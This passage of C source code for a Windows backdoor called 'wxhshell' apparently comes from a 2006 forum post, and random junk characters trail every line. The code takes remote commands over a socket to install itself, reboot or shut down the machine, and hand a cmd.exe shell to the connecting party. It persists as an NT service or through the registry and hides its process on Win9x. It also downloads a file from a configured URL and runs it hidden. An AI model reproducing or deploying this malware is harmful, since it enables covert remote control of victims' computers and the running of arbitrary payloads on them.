  } % K9; qJ5  
  // 安装 \-$b o=s.  
  case 'i': { :_{{PY0PK  
    if(Install()) j#Ky0+@V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z*NC?\  
    else 3<e(@W}n-M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p]1yd;Jt  
    break; xN{"%>Mx  
    }  c{f:5 p  
  // 卸载 v -|P_O&z  
  case 'r': { %-1BA *J`|  
    if(Uninstall()) L5V'Sr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h a,=LV  
    else yL.PGF1(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -H ac^4uF  
    break; U- *8%>Qp  
    } W|r+J8  
  // 显示 wxhshell 所在路径 ^LEmi1L  
  case 'p': { P/C+L[X=  
    char svExeFile[MAX_PATH]; Z uFV tW@  
    strcpy(svExeFile,"\n\r"); dIBKE0`  
      strcat(svExeFile,ExeFile); !BvTJ-e)F  
        send(wsh,svExeFile,strlen(svExeFile),0); ,E/Y@sajn+  
    break; r {/ G\  
    } LEn=dU  
  // 重启 O$<%z[  
  case 'b': { aUIc=Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7 BnenHD  
    if(Boot(REBOOT)) 0]h8)EW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &z xBi"  
    else { sw=JUfAhy  
    closesocket(wsh);  s>*Q  
    ExitThread(0); ]@ Sc}  
    } "&~?Hzm  
    break; 5Sm5jRr  
    } iXG>j.w{79  
  // 关机 B:6sVJ  
  case 'd': { IQk#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c`$`0}  
    if(Boot(SHUTDOWN)) *1o+o$hY2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4B3irHs\Q  
    else { v8U1uOR,%  
    closesocket(wsh); qUDz(bFk/  
    ExitThread(0); V~J2s  
    } z[KN^2YS  
    break; +GYI2  
    } k8x&aH  
  // 获取shell Ddm76LS  
  case 's': { ~f]r>jQM  
    CmdShell(wsh); syC"eH3{  
    closesocket(wsh); N[ Lz 0c?  
    ExitThread(0); Y|0-m#1F#  
    break; /_VRO9R\V  
  } Y#SmZ*zok  
  // 退出 'wB Huq  
  case 'x': { K9I,Q$&xX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pw<q?q%  
    CloseIt(wsh); [oU+b(  
    break; zI2KIXcc  
    } e>vUkP y  
  // 离开 bE`*Uw4  
  case 'q': { YPff)0Nh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C tC`:!Q  
    closesocket(wsh); ?`l=!>C4s  
    WSACleanup(); 4MtqQq4%  
    exit(1); [b k&Nd[  
    break; B0oY]r6  
        } s68_o[[E  
  } n?P 5pJ  
  } $?/Xk%d+  
@)2V"FE4i  
  // 提示信息 {Y* ]Qc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d*\C^:Z  
} &TkbnDuYd~  
  } <v7KE*#  
q@M jeGs%  
  return; .e _D3Xp<  
} VG'(   
[P&,}o)+E0  
// shell模块句柄 ~4~Tcn  
int CmdShell(SOCKET sock) \'LCC-  
{ 4 _U,-%/  
STARTUPINFO si; I_6` Z 0  
ZeroMemory(&si,sizeof(si)); H;t8(-F@'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 't]EkH]BC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; da?th  
PROCESS_INFORMATION ProcessInfo; !^w\$cw&  
char cmdline[]="cmd"; 18/@:u{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M(h H#_ $  
  return 0; ;\*Od?1  
} mN'9|`>V>  
HsgTHe  
// 自身启动模式 ^9*|_\3N  
int StartFromService(void) 9-E>n)  
{ UQf>5g  
typedef struct QV H'06 "{  
{ s-N?Tzi  
  DWORD ExitStatus; ^qus `6  
  DWORD PebBaseAddress; CMG`'gT  
  DWORD AffinityMask; r4NT`&`g?  
  DWORD BasePriority; +@],$=aE?  
  ULONG UniqueProcessId; &9lc\Y4PY  
  ULONG InheritedFromUniqueProcessId; etK,zEd  
}   PROCESS_BASIC_INFORMATION; *ckrn>E{h  
t`1]U4s&I  
PROCNTQSIP NtQueryInformationProcess; >3 .ep},  
K!: ,l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z Hs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ][5p.owJse  
UH^wyK bM  
  HANDLE             hProcess; g1*H|n h2  
  PROCESS_BASIC_INFORMATION pbi; W &wDH  
o27`g\gDR,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zl#&Qm4Ot  
  if(NULL == hInst ) return 0; sV'.Bomq  
&?g!}Ky \  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CG>2 ,pP,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &N7:k+E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3F'dT[;  
x>9EVa)  
  if (!NtQueryInformationProcess) return 0; +e]b,9.sR  
+$= Wms-z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OYtus7q<  
  if(!hProcess) return 0; }.$ B1%2  
Lr\ B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o>A%}YU  
!g&B)0u]*  
  CloseHandle(hProcess); KZ}4<{3  
>)A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !6/IKh`J  
if(hProcess==NULL) return 0; t02"v4_i  
g+/U^JIc4l  
HMODULE hMod; 3N%Ev o  
char procName[255]; 6dy4{i  
unsigned long cbNeeded; )B&<Bk+  
8kc'|F\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rH:X/i;D  
p;t!"I:`?  
  CloseHandle(hProcess); 'sQO0611S  
l/UG+7  
if(strstr(procName,"services")) return 1; // 以服务启动 e(\S,@VN2  
8'xnhV  
  return 0; // 注册表启动 ,0~ {nQj]  
} 8B t-  
=XBXSW8)DJ  
// 主模块 x-#9i  
int StartWxhshell(LPSTR lpCmdLine) Mh.eAM8_  
{ #DRt Mrfat  
  SOCKET wsl; -*q2Y^A^l  
BOOL val=TRUE; bfI -!,  
  int port=0; u R%R]X  
  struct sockaddr_in door; Jo(}#_y?  
l(#Y8  
  if(wscfg.ws_autoins) Install(); %y\7  
nJ#@W b@  
port=atoi(lpCmdLine); ,L:)ZZgN  
h_G7T1;L  
if(port<=0) port=wscfg.ws_port; }Z? [Ut  
(l_de)N7  
  WSADATA data; [}>6n72gNh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rtF6Lg  
<r`Jn49  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >~>[}d;glw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jTgh+j]AP  
  door.sin_family = AF_INET; n rB27  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RF2XJJ  
  door.sin_port = htons(port); _r|yt Q)  
Xl+a@Ggtq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BrcXn@tl  
closesocket(wsl); =l'_*B8  
return 1; 6ch[B`[h,  
} QIV~)`;  
$K5s)!  
  if(listen(wsl,2) == INVALID_SOCKET) { {=4:Tgw  
closesocket(wsl); q8bS@\i  
return 1; `oWjq6  
} y]Tn#4 ,/  
  Wxhshell(wsl); c@B%`6kF  
  WSACleanup(); RcM0VbR"EU  
<\~#\A=;  
return 0; B@vH1T  
,:4w$!;  
} @VS5Mg8  
knzED~ v@(  
// 以NT服务方式启动 )-"L4TC)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K$GXXE`  
{ J+gsmP-_  
DWORD   status = 0; :{uUc  
  DWORD   specificError = 0xfffffff; RX\O'Zwlj  
@N{Ht)1r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H&IP>8Dk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c qyh#uWe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [ =2In;  
  serviceStatus.dwWin32ExitCode     = 0; 7Ej#7\TB]  
  serviceStatus.dwServiceSpecificExitCode = 0; L5uI31  
  serviceStatus.dwCheckPoint       = 0; x2wWp-Z  
  serviceStatus.dwWaitHint       = 0; '|?r&-5 h  
D?F5o^e"h<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2`U&,,-Mf  
  if (hServiceStatusHandle==0) return; V\hct$ 7Vm  
h5keYBA  
status = GetLastError(); ^v5hr>m  
  if (status!=NO_ERROR) r8 >?-P  
{ '="){  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @}!$NI8  
    serviceStatus.dwCheckPoint       = 0; w>Sz^_ h  
    serviceStatus.dwWaitHint       = 0; ( +hI   
    serviceStatus.dwWin32ExitCode     = status; 8N_rJ)f  
    serviceStatus.dwServiceSpecificExitCode = specificError; cGp 6yf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8|Y^Jn\p5u  
    return; W3rvKqdw5  
  } S IK{GWX  
M=`Se&-M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O;?~#E<6w  
  serviceStatus.dwCheckPoint       = 0; Bcon4  
  serviceStatus.dwWaitHint       = 0; I>Yp=R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L1 VTq9[3  
} <!>}t a  
%~2m$#)  
// 处理NT服务事件,比如:启动、停止 ^v|!(h\ZC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hv*O9!cC  
{ 'Pu;]sC  
switch(fdwControl) C$gLi8|m  
{ GTNTx5H  
case SERVICE_CONTROL_STOP: OR8o%AxL7  
  serviceStatus.dwWin32ExitCode = 0; M?u)H&kEl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Sxu v}y\  
  serviceStatus.dwCheckPoint   = 0; UQPE)G  
  serviceStatus.dwWaitHint     = 0; Oh4WYDyT  
  { v72 dE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Z3qaXPH  
  } iUBni&B  
  return; Wh_c<E}&  
case SERVICE_CONTROL_PAUSE: r1atyK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1dsxqN(:  
  break; ^ s4|  
case SERVICE_CONTROL_CONTINUE: >C3 9`1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 59 Y=VS  
  break; ;gV8f{X{Z  
case SERVICE_CONTROL_INTERROGATE: 9E?>B3t^  
  break; L1i> %5:g  
}; )D*xOajo+l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h--bN*}H2  
} a<.@+sj{  
iNSJOS  
// 标准应用程序主函数 V'/%)oU\"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kyB]fmS  
{ a $:N9&P  
c'R|Wyf  
// 获取操作系统版本 ^]gl#&"D  
OsIsNt=GetOsVer(); {'kL]qLg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pBkPn+@  
'~J6 mojE  
  // 从命令行安装 3)\qt s5  
  if(strpbrk(lpCmdLine,"iI")) Install(); _4Pi>  
RUu'9#fq  
  // 下载执行文件 nQ~L.V  
if(wscfg.ws_downexe) { 3om-,gfZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S:QEHd_C  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?K 0V#aq  
} Y,~]ecI  
.X1niguXH  
if(!OsIsNt) { V485Yn!$(  
// 如果时win9x,隐藏进程并且设置为注册表启动 MsQS{ok+  
HideProc(); +Ti@M1A&  
StartWxhshell(lpCmdLine); WpZ^R;eK  
} 'L/TaP/3  
else DlI|~  
  if(StartFromService()) +Wc[ $,vk  
  // 以服务方式启动 9k&$bC+Q  
  StartServiceCtrlDispatcher(DispatchTable); PQr N";+  
else iSlVe~ef  
  // 普通方式启动 xW~@V)OH  
  StartWxhshell(lpCmdLine); 8w' 8n  
%xz02$k  
return 0; sNVD"M,  
}
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只看该作者 1 发表于: 2006-10-10
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